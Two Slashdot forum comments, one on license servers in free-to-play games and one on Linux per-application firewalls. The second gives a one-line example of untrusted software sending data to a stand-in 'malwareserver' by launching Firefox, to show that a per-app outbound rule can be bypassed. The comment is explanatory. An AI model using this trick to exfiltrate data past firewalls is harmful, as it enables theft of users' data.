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Comment: Re:New? (Score 1) 181

by allo (#46714971) Attached to: Do Free-To-Play Games Get a Fair Shake?

But you pay one time for the full game, maybe one time per levelpack. Now you for each time, you play the level. And in 10 years you won't be able to get your old android tablet and show someone the old game, because it cannot contact its license-server and will only run the minimum features, if it starts at all.

Comment: Re:Wrong paradigm here (Score 1) 186

by allo (#46674743) Attached to: Ask Slashdot: User-Friendly Firewall For a Brand-New Linux User?

Blocking outbound on per-application basis is needed, if you do not trust your software. But untrusted software can evade this anyway. Just call "firefox http://malwareserver?mydata=i+... 2;kill %1"
So, how does the "~/bin/untrusted-download" firewall rule protect you now?

There is one simple rule for untrusted software: Do not run it.
Linux makes this easy, you need the execution bit, a download or an e-mail attachment will not have it by default. And Linux provides you with a big trusted software repo. You do not need to visit shady downloadsites, which bundle the apps with a strange installer.

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